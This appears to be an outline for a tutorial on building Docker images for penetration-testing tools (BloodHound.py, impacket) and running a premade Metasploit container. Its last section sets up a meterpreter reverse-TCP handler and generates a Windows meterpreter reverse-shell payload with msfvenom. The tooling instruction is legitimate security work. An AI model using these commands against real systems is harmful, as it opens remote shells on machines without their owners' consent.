1. What is docker
2. What are the benefits of container
3. Where to use this technology
4. Docker keywords
5. Python https://github.com/fox-it/BloodHound.py
6. Python https://github.com/rxwx/impacket
7. Pre-made container Metasploit

Host command
Docker file

Bloodhound.py

1. Create a folder
2. Git clone the project
3. Create a DockerFile
4. Start up and interactive docker session
    a. sudo docker run -it kalilinux/kali-rolling /bin/bash
5. Add From line
    a. FROM kalilinux/kali-rolling:latest
6. Review the project
    a. https://github.com/fox-it/BloodHound.py.git
7. Try to pip install the project
    a. pip install bloodhound
8. Explain why it failed and the need to install anything needed.
9. Install pip
    a. apt install python python-pip
10. Add Install line in Docker
    a. RUN apt update && apt install python-pip -y
11. Install bloodhound via pip again
    a. pip install bloodhound
12. Another error (highlight ldap3==2.5.1)
    a. pip install ldap3==2.5.1
    b. RUN pip install ldap3==2.5.1
13. Install bloodhound via pip again
    a. pip install bloodhound
    b. RUN pip install bloodhound
14. Run bloodhound-python
    a. CMD bloodhound-python
15. Now we were successful, let's build the container
    a. exit the interactive session.
    b. Docker build . -t bloodhound
16. Show off the new image and size

    a. Docker images | grep bloodhound
17. Explain about containers and only exist when you run them.
    a. What if I want to save the data?
    b. How do I run commands in the container?
18. Add a volume to it
    a. VOLUME bh-data
    b. WORKDIR /bh-data
19. Rebuild the container
    a. docker build . -t bloodhound --no-cache
20. Run the container
    a. docker run -v ${PWD}:/bh-data -it bloodhound
    b. Docker run -v ${PWD}:/bh-data -it bloodhound /bin/bash

Impacket

1. Create a folder
2. Project https://github.com/rxwx/impacket.git
3. Create a DockerFile
4. Start up and interactive docker session
    c. sudo docker run -it kalilinux/kali-rolling /bin/bash
5. Add From line
    a. FROM kalilinux/kali-rolling:latest
6. Remember from before that we need python and git
    a. apt install python git
7. Add the apt install line
    a. apt update && apt install git python -y
8. Add the git clone line
    a. RUN git clone https://github.com/rxwx/impacket.git
9. Add the project into the interactive session
    a. git clone https://github.com/rxwx/impacket.git
10. Add workdir to project
    a. WORKDIR /impacket
11. cd into the impacket directory
    a. cd /impacket
12. Install requirements and errors
    a. pip install -r requirements.txt
13. Update install line and run the command
    a. RUN apt update && apt install git python python-pip -y
    b. Apt install python-pip -y
14. Install requirements
    a. RUN pip install -r requirements.txt
    b. RUN pip install .
    c. pip install -r requirements.txt

    d. pip install .
15. Exit the container.
16. Build the container
    a. Docker build . -t impacket
17. Run the container
    a. Docker run -it impacket ls ./examples
    b. Docker run -it impacket -it /bin/bash

Premade containers

1. Search on dockerhub
    a. https://hub.docker.com/r/metasploitframework/metasploit-framework
2. On host pull image
    a. docker pull metasploitframework/metasploit-framework
3. Show images
    a. docker images | grep metasploit
4. Run docker container interactive
    a. docker run -it metasploitframework/metasploit-framework
    b. docker run --net=host -it metasploitframework/metasploit-framework
        i. Use exploit/multi/handler
        ii. set payload windows/meterpreter/reverse_tcp
        iii. Set LHOST ens8
        iv. Set LPORT 9999
        v. Exploit -j
        vi. Open new shell
            1. Netstat -lnt | grep 9999
5. Run msfvenom
    a. docker run metasploitframework/metasploit-framework ./msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f c